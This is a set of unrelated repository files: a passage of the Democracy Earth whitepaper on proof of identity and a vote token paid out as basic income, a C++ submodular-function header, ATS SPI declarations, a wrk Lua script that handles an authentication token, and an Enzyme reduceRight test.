transaction block using the accepted block as the previous hash. This technique permits monetary transactions without central banks. In a democracy without central governments instead of verifying encrypted blocks, human attention serves the purpose of voting on self-generated identities in order to grant them ''votes'' which can eventually be used for new verifications. Most of the research concerning how to prevent sybil attacks (identity forgery on peer to peer networks) revolves around requiring entities to perform a task that a sybil attacker would not be able to perform. Attention mining requires validators to observe certain aspects of ''Proof of Identity'' videos that only a person can recognize. In order to have a mechanism that prevents bots, the system can generate modified videos to induce attackers to error. These distortions can be created through cropping certain sections out of a video, mixing it with others or distorting voices to work as a video version of a CAPTCHA test aimed to securely distinguish between real human validators and botnets. ====3.2.5 Little Brothers.==== <blockquote> Who watches the watchmen? </blockquote> [https://en.wikipedia.org/wiki/Watchmen '''''Watchmen'''''], graphic novel (1987). Self-sovereign identities can be valued on two key aspects that help define their right to participate in the network: * '''Reputation''': A social indicator that a given identity is to be trusted. * '''Singularity''': An individual indicator that certifies an identity is uniquely tied to a single person. Anyone on the network can participate to verify new self-sovereigns in order to secure a global democracy against the threat of a ''Big Brother''. This task is effectively performed whenever an <code>Organization</code> decides to approve a new <code>Member</code>. By harnessing distributed attention across multiple <code>Organizations</code> instead of an all-observing central power, validators are in effect an army of [http://groups.csail.mit.edu/mac/classes/6.805/articles/crypto/cypherpunks/little-brother.txt little brothers] who can collaboratively score a self-sovereign identity in the network. ''Little brothers'' can outperform centralized identity providers in terms of accuracy as they are constantly incentivized to maintain legitimacy within the network in order to keep ''votes'' as a valuable asset: the success of the network on detecting ''replicants'' (duplicated identities) determines the scarcity of the ''vote'' token. The legitimacy of any democracy is based on the maintenance of a proper voter registry. =====3.2.5.1 Reputation.===== The interest on effectively validating a ''Proof of Identity'' is among <code>Organizations</code> that must deal with applicant identities willing to become <code>Members</code> able to use their ''votes'' for the decisions related to the entity. Those who within an <code>Organizantion</code> have the rights to approve new memberships end up contributing with the reputation an <code>Organization</code> has to the applicant identity if approved. The allocation of reputation from an <code>Organization</code> to an approved <code>Member</code> that applied with its POI is done by simply signing the approved POI to certify that an identity is a valid <code>Member</code>. The memberships connected to an identity in the network can be interpreted by future validators on other <code>Organizations</code> in any desired way. <code>Organizations</code> in the network can be as small as a family or as large as a multi-national corporation, but ultimately they are <code>domains</code> in a network that can resemble <code>Tags</code> describing the attributes of an identity. Some <code>Organizations</code> may exist for very specific verifications, e.g. an <code>Organization</code> under a ''legal.age'' domain that only verifies if a POI belongs to someone older than 18 years making any approved <code>Member</code> of such entity carry a valid ''legal.age'' signature on its POI. The reputation of an <code>Organization</code> can be measured on how often they end up allowing [https://en.wikipedia.org/wiki/Replicant ''replicants''] as <code>Members</code>. In other words: <code>Organizations</code> that fail on the ''Singularity score'' used to value the individuality of participants in the network, end up being less trustworthy than those able to effectively include sovereign individuals. =====3.2.5.2 Replicants.===== While governments need to verify the family tree of a potential new citizen and traditional corporations need to rely on [https://en.wikipedia.org/wiki/Know_your_customer ''Know Your Customer''] practices (KYC) to draw a line between their clients and the rest of the world; a global democracy has no such concern for establishing a difference between ''us and them''. The goal of Democracy Earth Foundation is to scale the right to use ''votes'' to every single human: we are all ''us'' (or ''them''). Hence, the overall challenge for a successful decentralized ''Proof of Identity'' dynamic is to simply focus on using the available attention in the network to check for ''replicants'' that are requesting a share of ''votes''. ''Replicants'' are identities that get ''voted'' as duplicates, illegitimately claiming more ''votes'' than they deserve. Fake POIs are likely to happen using modern techniques of 3D rendering aiming to trick the human eye (e.g. beating the [https://en.wikipedia.org/wiki/Uncanny_valley uncanny valley] of perception), but it is a safe assumption to consider that [http://www.cv-foundation.org/openaccess/content_cvpr_2014/papers/Taigman_DeepFace_Closing_the_2014_CVPR_paper.pdf humans are able to recognize faces with 98% of accuracy] while [http://www.washington.edu/news/2016/06/23/how-well-do-facial-recognition-algorithms-cope-with-a-million-strangers/ the capacity of algorithmical systems decrease when scaled]. Considering that the frontier being drawn is between humans and artificial intelligences is that we use the term ''replicant'' which was coined for the 1982 film ''Blade Runner'' referring to androids capable of simulating being real people. =====3.2.5.3 Singularity Score.===== To certify an identity is valid, verifiers are exposed to two simultaneous POI videos that can be chosen at random from all the indexed and hashed videos found on the blockchain. A face-matching algorithm that seeks similarities among facial expressions can be used to optimize the test. Validators must use ''votes'' to agree whether these POI videos belong to a same person or not, being the ongoing result of this decision a ''Singularity score'' for the identity. The validation process is the same as in every Sovereign voting dynamic: Validators can approve by casting a ''vote'' that includes a <code>Ballot</code> with a <code>true</code> checked <code>Option</code> on it. Otherwise they must cast a ''vote'' in rejection with a <code>false</code> checked <code>Option</code>. All POI related decisions are <code>Strategical</code>: without a closing date where allocated ''votes'' impact in real time. At any time a validator can override the ''vote'' value if it has found evidence that modifies previous judgement. Also ''votes'' validating a POI can be removed if the identity already has input from sufficient validators which makes allocation of additional ''votes'' redundant. As with any Sovereign decision, the end result of a POI related vote will end up on either a <code>true</code> or <code>false</code> value. Anyone who ends up being voted as a ''replicant'' will see his or her granted ''votes'' useless. The <code>Criteria</code> used for the ''Singularity score'' is also subject for voting by every validated POI participating in the network. Democracies are always a work in progress, perpetually self-correcting with a feedback loop that defines how the observers get observed. The threshold that establishes the sovereign right to ''vote'' must constantly adapt to the exponential growth of computing capacity that can risk subverting the network. By being backed with a decentralized identity index using an incorruptible blockchain that gets maintained with distributed attention (i.e. an open face book), the ''vote'' token becomes a trusted device for a digital democracy to emerge anywhere. Allocating attention to secure the network not only brings consciousness to a system otherwise blind to artificial Intelligence, but also allows participants to own their identities without being coerced by a centralized power that could monetize from it without consent. Conscious attention must always be put in the service of strengthening a global democracy because it is only in the realm of human consciousness that we can define what it means to be human. ===3.3 Universal Basic Income.=== <blockquote> Now is the time to make real the promise of democracy. </blockquote> '''Martin Luther King Jr.''', Minister and activist (1929-1968). The ability to develop a reliable self-sovereign identity validation process not only guarantees the legitimate value for ''votes'' to express social choice but also establishes the bedrock for the infrastructure required to make a ''Universal Basic Income'' (UBI) mechanism that can reach everyone on Earth. The symbiotic relationship of UBI and democracy has been well substantiated. According to research presented at Basic Income Earth Network (Munich September 2012), the implementation of basic income [http://basicincome.org/bien/pdf/munich2012/Choi.pdf can greatly contribute to realizing the principles of democracy as well as the establishment of its substantial foundation]. Therefore in order to consolidate the political and financial logic able to establish a borderless democracy, once a ''Proof of Identity'' is validated by peers the distribution mechanism triggered for ''votes'' will be based on time as a UBI. Time is a valuable and limited asset, therefore tradable. One cannot buy, rent or hire more time: it has an inelastic supply no matter how high the demand. [https://books.google.com/books?id=sjlVAAAAcAAJ&pg=PA5&lpg=PA5&dq=what+is+money+man%27s+birthright+time&source=bl&ots=uxfZPDT94J&sig=gWf_LpHeEA-g6ukveZ1-mQI3FE4&hl=es&sa=X&ved=0ahUKEwjgyuHR2ejVAhUK7iYKHUX0AzgQ6AEILjAB#v=onepage&q=what%20is%20money%20man's%20birthright%20time&f=false Time is the only standard of value by which to test all the labour, either manual or mental, done by men and women]. And by tokenizing time and using it as the basis for allocating ''votes'', it liquidates a possession that every member of a global democracy possesses on equal terms. Liquidity is a requirement for any democracy that aims to avoid coercion: voices must be able to be heard in order to count and by granting ''votes'' as a UBI we are tapping on delivering a human right that can effectively empower individuals that will have to face the coming challenges of automation. ''Votes'' granted throughout time as a right avoids the [https://en.wikipedia.org/wiki/Tragedy_of_the_commons ''tragedy of the commons''] while it sets the foundations for a governance model that goes beyond debt and Nation-States. A self-sovereign then, is able to obtain ''votes'' in three different ways: * '''Delegation''': Any <code>Member</code> within an <code>Organization</code> operating as a liquid democracy can get delegated ''votes''. * '''Grant''': <code>Organizations</code> may grant ''votes'' to new participants on its own terms. Participants can create or fund <code>Organizations</code> using their own ''votes''. * '''Drip''': Once a ''Proof of Identity'' becomes valid, ''votes'' begin to drip on the user's wallet throughout time. ====3.3.1 Dripping.==== The rate at which 1 ''vote'' gets dripped to a verified identity is syncronized with the Bitcoin blockchain. By using Bitcoin's synchronization mechanism as a clock, an incorruptible consensus sets the rythm for the whole network. Bitcoin chains a new block to the blockchain every 10 minutes, which means, 1 hour = 6 blocks Assuming that earnable time across the globe is based on 8 hour work days, 8 hours per day x 5 days per week x 52 weeks per year = 2,080 hours per year Or in block time, 2,080 hours = 12,480 blocks And considering that established consensus on [https://medium.com/economicsecproj/how-to-reform-welfare-and-taxes-to-provide-every-american-citizen-with-a-basic-income-bc67d3f4c2b8 an ideal basic income rate averages around 10% of an individual's earnings] we can define that, 10% earnings Annual Basic Income = 208 hours per year = 1,248 blocks Which means that of the ~52,560 blocks that register a full year of activity on Bitcoin's blockchain, a total of 1,248 blocks should be accounted for rewarding a UBI per year. To sync ''vote'' dripping with Bitcoin as a UBI mechanism based on 10% earnings for every working hour, 1 full unit of a ''vote'' token should then drip every ~42 hours (or ~252 blocks). For the purpose of guaranteeing a feasible divisibility of the ''vote'' token so it can be dripped every few seconds (while it also becomes easier for human and machine interpretation), we set the dripping rate at, 1 vote = 250 blocks So every valid POI gets granted a total of: 210 votes per year [[File:/images/proof-of-identity-dripping.png|Dripping mechanism for mined votes.]] Therefore by taking into account the following variables: * T = Present block height (i.e. current Time). * r = A constant for ''vote'' allocation rate, set at 1 vote every 250 blocks in time. * Pᵢ = The ''Proof of Identity'' block containing its corresponding hash for a given identity (i). * Sᵢ = ''Singularity score'' expressed as a <code>true</code> or <code>false</code> state for a given identity (i). * Vᵢ = Total quantity of ''votes'' for a given identity (i). Then the ''votes'' a self-sovereign identity is allowed to use in the system can be calculated on any node running a smart contract with the formula: [[File:/images/ubi-vote-formula.png|Vᵢ = ((T - Pᵢ) / r) * Sᵢ]] As long as the ''Proof of Identity'' has been validated by the community and a smart contract is synced with an active blockchain node, then the value of Vᵢ will either be a number that defines the total amount of ''votes'' a self-sovereign has as a right to use on a hosted wallet or, if the POI is rejected (i.e. Sᵢ = <code>false</code>), then the participant's available votes becomes zero. ====3.3.2 Equality==== The described dripping dynamic ends up benefitting early-adopters as it is often the case with financial-oriented cryptocurrencies. Bitcoin for instance is often described as ''cryptographically induced scarcity'' as it is an instrument able to measure wealth in terms of economical resources due to the fixed scarcity of its token. But with the ''vote'' token we are building a network of a different nature that aims to be complementary to financial cryptocurrencies by having governance as a goal. By issuing ''votes'' as a right that can be granted to anyone as long as his or her singular identity is proven, the ''vote'' operates as political clout. So in essence, our approach is about ''cryptographically induced equality'': such is the basis for any real democracy. For this reason we introduce another variable to its ''Universal Basic Income'' dynamic, * E = Amount of ''votes'' allocated to the ''Genesis Identity'' at present block height (T). We refer to the ''Genesis Identity'' as the very first ''Proof of Identity'' that gets approved by the network. With this information the next validated identity won't begin in disadvantage: it will have a wallet with the same amount of ''votes'' than the first participant in the network currently has. Since this rule applies to every participant it will guarantee ''Equality'' in terms of participation letting everyone have the same amount of Sovereign ''votes'' than everyone else, extending the UBI formula as follows: [[File:/images/ubi-equality-formula.png|Vᵢ = (E + ((T - Pᵢ) / r)) * Sᵢ]] With the ''Equality'' variable, if a second participant Bob got validated 1500 blocks after a first one Alice, he won't begin with 0 ''votes'' but rather get an initial amount matching Alice's current balance at that moment (i.e. at a rate of 1 ''vote'' per 250 blocks, it is a total of 6 ''votes''). Bob will continue to get ''votes'' dripped on equal terms with Alice block after block after that. If a third participant Charlie generates a valid ''Proof of Identity'' 1000 blocks later, he will begin with the equivalent amount of ''votes'' that Alice and Bob each currently have by then as well (i.e. a total of 10 ''votes'' each). With this inflation process that rewards every new participant (diluting all pre-existing ones), everyone is guaranteed an ''equal'' share in the overall participating rights of the network. As long as ''replicants'' get successfully banned, the ''vote'' network is a genuinely democratic global commons. [[File:/images/chart-votes-coins-time.png|Vote emission and inflation rate.]] Even though the inflation rate might initially seem too aggressive, the total supply of ''votes'' is still fixed to a maximum cap based on the quantity of participants in the network. As more participants engage, the overall inflation will tend to limit 0% since new ''votes'' have a reduced influence in the economy as a whole. When compared to uncapped ''likes'' and ''retweets'' in other social applications, it must be noted that from the subjectivity of each individual the allocation of ''votes'' is still a decision based on a limited resource that implies opportunity costs, forcing a more rational behaviour rather than impulsive liking (i.e. trolling). ====3.3.3 Nakamoto Coefficient==== Significant efforts on quantifying decentralization are being made, including Balaji Srinivasan's work on establishing a [https://news.21.co/quantifying-decentralization-e39db233c28e ''Nakamoto Coefficient''] defined as: <blockquote> The minimum number of entities in a given subsystem required to get to 51% of the total capacity. </blockquote> The importance of measuring decentralization relies on finding a metric able to certify the ability of a network to be censorship resistant, being this a fundamental property for self-sovereign currencies such as Bitcoin. But ultimately the question of who is in control of the entities running a networked system must be addressed as well. By establishing a reference network that guarantees an egalitarian distribution of its token based on a ''Proof of Identity'' mechanism designed to prevent ''replicants'', this brings in a new perspective that can help increase the resolution of the Nakamoto Coefficient by means of discernible equal access. By guaranteeing an equal starting point for every participant regardless of the time they decide to join the network, the ''vote'' network operates as a genuine meritocracy. The proposed ''Equality'' variable is simply a rule for establishing a starting point and by no means a permanent imposition: at any time, any self-sovereign is allowed to either delegate ''votes'' to someone else or use them to start an <code>Organization</code> in the network. In this way, the ''vote'' token can work as a device fit to foster a wave of entrepreneurship even among today's disenfranchised individuals left out by the legacy financial and political systems. But as this happens on the individual level, the overall statistics of the network itself works as a reference framework in which to effectively measure decentralization down to each human across the globe and identify opportunities where its needed as it grows. The value of the network does not reside on the simulated scarcity but on its ability to register uncoerced decisions among self-sovereigns on the basis of equality. Initially the ''vote'' token might be able to compete with pollsters and any other rudimentary simulations that aim to predict elections, but eventually it can become a sovereign system on its own right as citizenship migrates online. ''Votes'' operate as a signal able to register events recorded on an incorruptible blockchain that stores political history that cannot be erased or modified in any way. Future generations get exposed to their past without intermediaries. ===3.4 Value=== We take three approaches to define the value of the ''vote'' token: * '''Status-Quo''': Social media offers a clear reference on how ''likes'' get valued online. * '''Work & Time''': A ''Universal Basic Income'' perspective offers useful insights on how labour time is being valued. * '''Nation-Sates''': Traditional elections offer useful insights on how votes are valued today. With those references, we then discuss the divisibility of the ''vote'' token and its implementation to govern a Democracy Support Fund. ====3.4.1 Status-Quo==== A comparative benchmark for the value of the ''vote'' token can be found on the Facebook network currently valuing 2 billion users with a market capitalization of ~$500 billion averaging an estimate of '''$250 per user'''. Democracy Earth Foundation regards Facebook's ''like'' function analogous to using ''votes'' in an open network. It is hard to estimate the quantity of ''likes'' made on this platform since it's private information and raw estimates project ''likes'' happening in the amount of trillions on a daily basis. Marketers that operate the Facebook advertising machine price ''likes'' in a range that can go from '''$0.10 to as high as $25''' based on the reputation and popularity of the account being used to capture user attention. In this sense, we believe this price reference is relevant for end-users in order to empower them with a token that can be competitive with leading social media platforms. But it must be noted that unlike ''likes'', ''votes'' directly empower holders with the right to participate in any financial benefit that can be connected to their use without intermediation. With ''votes'', profiting from user data will no longer be the exclusive domain of the Facebook middleman but instead will be enabled by a native token generation mechanism that is based on the principles established by the [http://www.un.org/en/universal-declaration-human-rights/ Universal Declaration of Human Rights]: <blockquote> Everyone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers. Everyone has the right to freedom of peaceful assembly and association. Everyone has the right to take part in the government of his country, directly or through freely chosen representatives. </blockquote> With the creation of Sovereign as an interface for blockchain-based democracies operating with ''vote'' tokens, Democracy Earth Foundation's aim is to deliver a ''Linux moment'' to Facebook: analogous to the rise of open source operating systems in the early 1990's, Linux became an alternative to the monopolizing force of Microsoft's Windows that dominated the market of personal computers and internet servers. A free and open Internet must pursue the creation of a social network where no single entity can excercise algorithmic control of the shared ideas in exchange for the private information of its users. And while Facebook mines user attention for profit, the Democracy Earth network will use the same resource to strengthen the trust of the ''vote'' token with its ''Proof of Identity'' process. As we acknowledge the growing political influence social media already has in the world, the urgency of laying out an open social network that is uncensorable, sovereign and free becomes pressing. ====3.4.2 Work & Time==== Coming from a ''Universal Basic Income'' perspective, a useful reference that values time and labour is the proposed [https://en.wikipedia.org/wiki/Minimum_wage_in_the_United_States minimum wage in the US] based on federal, state and local laws across the country. As of July 2016 it has been set at '''$7.25 per hour'''. [[File:/images/minimum-wage-us.png|Minimum wage in the US.]] For the ''vote'' token to effectively become a useful network able to index UBI on a global scale, an expectation regarding its pricing dynamic must be set at 1 ''vote'' unit as equivalent to 1 hour of work. Hence this anchors the initial price of the token at: 1 vote = $ 7.25 As long as the network successfully bans ''replicants'' and rewards validated self-sovereign identities indexed on the Bitcoin blockchain, then any UBI initiative can trust the present data to allocate resources without the risk of abuse. ====3.4.3 Nation-States==== From a Nation-State perspective, a useful reference can be found in the cost for implementing national elections. The 2016 Presidential Race in the United States had a total cost as high as [https://www.opensecrets.org/overview/cost.php $ 2,386,733,696]. Even though it had the lowest voter turnout in 20 years, an estimated total of [https://en.wikipedia.org/wiki/Voter_turnout_in_the_United_States_presidential_elections ~138,847,000 voters] participated. Hence, a simple calculation can price the vote token issued by the US government for this electoral process at '''$ 17.18 per vote'''. On the other end of the spectrum, developing nations like Argentina offer a similar reference: their 2017 legislative election had an estimated cost of [http://www.lanacion.com.ar/2034493-las-paso-costaran-2800-millones-pero-casi-no-definiran-candidatos $ 164,705,882] with a total of [http://www.elintransigente.com/politica/2017/8/13/cuantos-argentinos-votaron-paso-449552.html ~24,500,000 voters], setting the price at '''$ 6.70 per vote'''. It is within that range of value that Nation-States invest resources to guarantee voting rights to all its citizens. [[File:/images/cost-of-us-elections.png|Cost of US Elections.]] According to Facebook's seed investor Peter Thiel, a rule of thumb for technological innovation is that in order to beat a precedent paradigm, an innovation must outperform the task of the previous way of doing things [http://zerotoonebook.com/ by at least a factor of 10] in terms of cost and utility. For example: the digital word processor became successful because it does what a typewriter did in a way that can be considered at least ten times better and ten times cheaper. The same applies to fax in contrast to the postal service; and e-mail in contrast to fax. Hence the transition from traditional voting to a new standard of blockchain based voting should work on the same basis. A simple comparison shows the strict limitations electoral votes have in comparison with the ''vote'' token proposed on this paper: * '''Expensive Security''': Nation-State's ''Proof of Identity'' demands several resources to identify citizens during many stages of their life. Birth certificates, passports, driver's license, national ID cards, social security, wedding certificates, death certificates are all aimed at keeping the public record of citizens up to date. This is the leading function of the State and it can lead to persecutory behaviour. * '''Limited Utility''': Once a citizen casts a vote during an election, it cannot be modified until 4 to 6 years later when the elected positions get renovated. Only those among the elected positions (i.e. senators and congressmen) get the right to spend more votes than the rest of the citizens. * '''Reduced Bandwidth''': Citizens get to choose from a handful of options only once every 2 or 4 years. If we consider each option as a bit on the system then traditional elections can be regarded as ''8 bit democracies'', such is the current bandwidth for participation under most governments. In order to maintain the reference price set at the minimum wage in the US while being able to be at least ~10X more efficient than any traditional election, ''vote'' utility must be extended by making the token divisible. ====3.4.4 Divisibility==== The waiting period of 250 blocks for every new dripped ''vote'' limits the perceived gratification delivered by the system to every ~42 hours. This constraint is set in order to tie the economic logic of the ''vote'' token to its capacity of indexing all the successful ''Proof of Identities'' to a ''Universal Basic Income'' dripping dynamic. But the ability to begin interacting with the system itself shouldn't require a long waiting period: by introducing decimal positions, the network can offer instant gratification by adapting the dripping dynamic down to a minimum fraction of human attention. Considering that, 1 vote = 250 blocks = 2,500 minutes = 150,000 seconds To keep the shortest possible decimal extension while adapting the dripping rate to the minimum span of human attention, the ''vote'' network should perform a revolution every 15 seconds: 15 seconds = 0.0001 votes In the same way the minimum fraction of a Bitcoin is branded as 1 satoshi (i.e. 100,000,000 satoshis = 1 bitcoin), we consider it is suitable to brand the minimum fraction of a ''vote'' as a ''revolution'' since this concept helps to express the speed at which the network grants political rights, 1 vote = 10,000 revolutions Which can also be expressed as, 1 revolution = 0.0001 votes By allowing 4 decimal positions in the token, a ''revolution'' gets dripped to a valid ''Proof of Identity'' in the network every 15 seconds. ''Revolutions'' bring almost instant access to political rights while keeping the same utility capacity as ''votes'' with a cost that is comparatively 10,000X more efficient than Nation-State elections: 1 revolution = 0.0001 votes = $ 0.000725 For the identification of the token in third party applications, we suggest the ''VOTE'' and ''VOT'' tickers. ===3.5 End Game.=== <blockquote> “What happened to the governments?” I inquired.  “It is said that they gradually fell into disuse. Elections were called, wars were declared, taxes were levied, fortunes were confiscated, arrests were ordered, and attempts were made at imposing censorship — but no one on the planet paid any attention. The press stopped publishing pieces by those it called its ‘contributors,’ and also publishing their obituaries. Politicians had to find honest work; some became comedians, some witch doctors — some excelled at those occupations…” </blockquote> '''Jorge Luis Borges''', ''Utopia of a Tired Man''. Writer (1899–1986). To those who argue about electronic voting online scoring their arguments with Facebook ''likes'': [https://en.wikipedia.org/wiki/The_medium_is_the_message ''the medium is the message'']. The need to establish trusted relations in digital environments is mandatory as human cooperation scales to the whole globe. But the generational opportunity to collaboratively build this possibility must be able to learn from the great lessons of History. The origins of computing goes back to [https://en.wikipedia.org/wiki/History_of_IBM#1880s.E2.80.931924:_The_origin_of_IBM the first tabulating machine built by IBM for the 1890 US census] and the tallying of national elections after that. The very first proto-computers built by Alan Turing where made as a war effort able to beat nazi encryption ultimately demonstrating how intelligence can beat violence. The transition from analog to digital communications began with the [https://wheatoncollege.edu/provost/2016/03/21/claude-shannon-and-the-magna-carta-of-the-information-age/ Magna Carta of the Information Age] published by Claude Shannon in 1948 laying out the foundations for digital code and vast networks for the transmission of intelligence, a vision made real by Sir Tim Berners-Lee's creation of the ''world wide web'' protocols. When Satoshi Nakamoto published the Bitcoin paper he inaugurated the era that is giving rise to the transition from analog to digital ''institutions''. An inevitable leap from maturing our shared understanding of the properties of information security. Blockchains are giving our world a new canvas in which to lay foundations that shall govern us all to the point of being worthy of not needing governance anymore. After all [https://en.wikiquote.org/wiki/Alfred_North_Whitehead civilization advances by extending the number of important operations which we can perform without thinking about them]. Digital technology has proven to possess a greater capacity in the reach and quality of its messaging abilities and as new generations grow connected under a global commons, information architectures will regulate our political and financial relations without the physical restrictions of the past. The undeniable success of the Bitcoin experiment consistently beating even the most radical forecasts throughout a decade speaks greatly about the unleashed potential humanity has found. The status-quo will always speak from a skeptical position since halting progress can only come from a position of comfort. But just as the Internet didn't wait for the adaptation of age-old empires, blockchains won't care for political promises: a technologically advanced society can enter agreements of mutual cooperation without falling back to the means of coercion and violence. Such is the remarkable consequence of disintermediation of trust without boundaries, a reality that won't emerge in a single isolated part of a country or region of the globe, but will be distributed across the entire planet. The ''next Silicon Valley'' is not in a far away land or on any land at all, but a new frontier of the internet itself rising as the one true open, free and sovereign network of peers. ---- ==4. À Propos.== La Fondation Democracy Earth ne peut exister que grâce à ses collaborateurs, donateurs et partenaires en tous genres. Nous sommes une organisation californienne à but non lucratif 501©3, présente à New York, Paris, Buenos Aires et San Fransisco. ===4.1 Équipe & Collaborateurs.=== Santiago Siri, Virgile Deville, Paula Berman, Eduardo Medina, Herb Stephens, Sandra Miller, Dwight Wilson, Mair Williams, Louis Margot-Duclot, Felipe Alvarez, Cyprien Grau, Peter Schurman, Andrew James Benson, Gonzalo Stupenengo, Lucas Isasmendi. ===4.2 Conseil.=== Pia Mancini, Alexis Ohanian, Matias Mosse, Ariel Kogan, Ernesto Dal Bó, Kate Courteau, Giorgio Jackson, Julio Coco, Dan Swislow. ===4.3 Donateurs.=== Ricardo Gorodisch, Matias Mosse, Krishna Bahrat, Wenceslao Casares, Dwight Wilson, Marcos Galperin, Alejandro Estrada, Chris & Hedy Eyre, Kevin Barenblat, Clinton Yara, Tom Preston-Werner, Lloyd Nimetz, Eduardo Medina, Jim D'Amico, Erik Walter, Vivek Krishnappa, Kevin Berk, Micah Rosenbloom, Karén Gyulbudaghyan, Satoshi Nakamoto, Paul Wehrley, Josh Jacobson, Allison Sparks, Ahin Thomas, Ron Hirson, Ken Ettinger, Sharon Goldstein, Shreenath Regunathan, Matt Price, Josh Zaretsky, Heejae Lim, Allison Koblick. ===4.4 Remerciements.=== Quelques-uns des esprits ayant inspiré des idées exprimées dans ce document. Nick Szabo, Nubis Bruno (Bitex.la), Cesar Hidalgo (MIT), Balajis Srinivasan (21.co & Anderssen Horowitz), Andrea Antonopoulos (Bitcoin Evangelist), Peter Asaro (Stanford), Naval Ravikant (Angel List), Guillermo Rauch (Zeit), Andrew DeSantis (E8), Greg Slepak (Open Turtles), Demian Brener (Zeppelin), Manuel Araoz (Zeppelin), Ralph Merkle, Satoshi Nakamoto (Bitcoin), Vitalik Buterin (Ethereum), Vlad Zamfir (Ethereum), Joseph Lubin (Consensys), Ryan Shea (Blockstack), Muneeb Ali (Blockstack), Luis Cuende (Aragon), Vinny Lingham (Civic), Luke Duncan, David Graeber (London School of Economics), Peter Schurman (One Global Democracy), Jim D'Amico, Federico Ast, Harry Halpin, Guy Standing (University of London), Sebastian Serrano. ===4.5 Partenaires.=== Ces organisations nous ont apporté leur support par le biais de financements, partenariats, et reconnaissance de nos travaux de recherche et de développement. [[File:/images/grants-awards-support-organizations.png|Financements, médailles et support de la part de ces organisations.]]

MediaWiki

1110sillabo/paper

translations/french/README_FR.mediawiki

// Copyright 2020 The Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // Submodular Function // // Inherit from this to define your own submodular function // the function should keep a current set S as its state. #ifndef FAIR_SUBMODULAR_MAXIMIZATION_2020_SUBMODULAR_FUNCTION_H_ #define FAIR_SUBMODULAR_MAXIMIZATION_2020_SUBMODULAR_FUNCTION_H_ #include <cstdint> #include <limits> #include <memory> #include <string> #include <vector> #include "utilities.h" class SubmodularFunction { public: static int64_t oracle_calls_; virtual ~SubmodularFunction() {} // Sets S = empty set. virtual void Reset() = 0; // Initiation function for this submodular function. virtual std::vector<std::pair<int, int>> Init(std::string expriment_name = {}) = 0; // Return the objective value of a set 'S' and also increases oracle_calls. double ObjectiveAndIncreaseOracleCall( const std::vector<std::pair<int, int>>& elements); // Adds element 'e' to the function using Add(e) and also increases // oracle_calls. void AddAndIncreaseOracleCall(std::pair<int, int> element); // Returns the delta by adding this element using Delta(e) and also increases // oracle_calls. double DeltaAndIncreaseOracleCall(std::pair<int, int> element); // Add element if and only if its contribution is >= thre and also increases // oracle_calls. Return the contribution increase. double AddAndIncreaseOracleCall(std::pair<int, int> element, double thre); // Returns the universe of the utility function. The first is the name of the // element and the second is its color. virtual const std::vector<std::pair<int, int>>& GetUniverse() const = 0; // Get name of utility function. virtual std::string GetName() const = 0; // Clone the object (see e.g. GraphUtility for an example). virtual std::unique_ptr<SubmodularFunction> Clone() const = 0; // Returns the guess of the optimum solution. std::vector<double> GetOptEstimates(int cardinality_k); protected: // Adds a new element to set S. virtual void Add(std::pair<int, int> element) = 0; // Computes f(S u {e}) - f(S). virtual double Delta(std::pair<int, int> element) = 0; // Computes f(S). virtual double Objective( const std::vector<std::pair<int, int>>& elements) const = 0; }; #endif // FAIR_SUBMODULAR_MAXIMIZATION_2020_SUBMODULAR_FUNCTION_H_

C

deepneuralmachine/google-research

fair_submodular_maximization_2020/submodular_function.h

fun spi_begin: () -> void fun spi_setClockDivider: (uint8) -> void fun spi_setDataMode: (uint8) -> void fun spi_transfer: (uint8) -> uint8 fun spi_end: () -> void

ATS

Proclivis/arduino-ats

SATS/spi.sats

-- example script that demonstrates response handling and -- retrieving an authentication token to set on all future -- requests token = nil path = "/authenticate" request = function() return wrk.format("GET", path) end response = function(status, headers, body) if not token and status == 200 then token = headers["X-Token"] path = "/resource" wrk.headers["X-Token"] = token end end

Lua

madanagopaltcomcast/pxCore

examples/pxScene2d/external/libnode-v0.12.7/tools/wrk/scripts/auth.lua

import React from 'react'; import { expect } from 'chai'; import sinon from 'sinon-sandbox'; import { getElementPropSelector, getWrapperPropSelector } from '../../_helpers/selectors'; export default function describeReduceRight({ Wrap, Wrapper, }) { describe('.reduceRight(fn[, initialValue])', () => { it('has the right length', () => { expect(Wrapper.prototype.reduceRight).to.have.lengthOf(1); }); it('calls a function with a wrapper for each node in the wrapper in reverse', () => { const wrapper = Wrap(( <div> <div className="foo bax" /> <div className="foo bar" /> <div className="foo baz" /> </div> )); const spy = sinon.spy((n) => n + 1); wrapper.find('.foo').reduceRight(spy, 0); expect(spy).to.have.property('callCount', 3); expect(spy.args[0][1]).to.be.instanceOf(Wrapper); expect(spy.args[0][1].hasClass('baz')).to.equal(true); expect(spy.args[1][1]).to.be.instanceOf(Wrapper); expect(spy.args[1][1].hasClass('bar')).to.equal(true); expect(spy.args[2][1]).to.be.instanceOf(Wrapper); expect(spy.args[2][1].hasClass('bax')).to.equal(true); }); it('accumulates a value', () => { const wrapper = Wrap(( <div> <div id="bax" className="foo qoo" /> <div id="bar" className="foo boo" /> <div id="baz" className="foo hoo" /> </div> )); const result = wrapper.find('.foo').reduceRight((obj, n) => { obj[n.prop('id')] = n.prop('className'); return obj; }, {}); expect(result).to.eql({ bax: 'foo qoo', bar: 'foo boo', baz: 'foo hoo', }); }); it('allows the initialValue to be omitted', () => { const one = (<div id="bax" className="foo qoo" />); const two = (<div id="bar" className="foo boo" />); const three = (<div id="baz" className="foo hoo" />); const wrapper = Wrap(( <div> {one} {two} {three} </div> )); const counter = (<noscript id="counter" />); const result = wrapper .find('.foo') .reduceRight((acc, n) => [].concat(acc, n, new Wrapper(counter))) .map(getWrapperPropSelector('id')); expect(result).to.eql([three, two, counter, one, counter].map(getElementPropSelector('id'))); }); }); }

JSX

Joel-LT/enzyme-2

packages/enzyme-test-suite/test/shared/methods/reduceRight.jsx

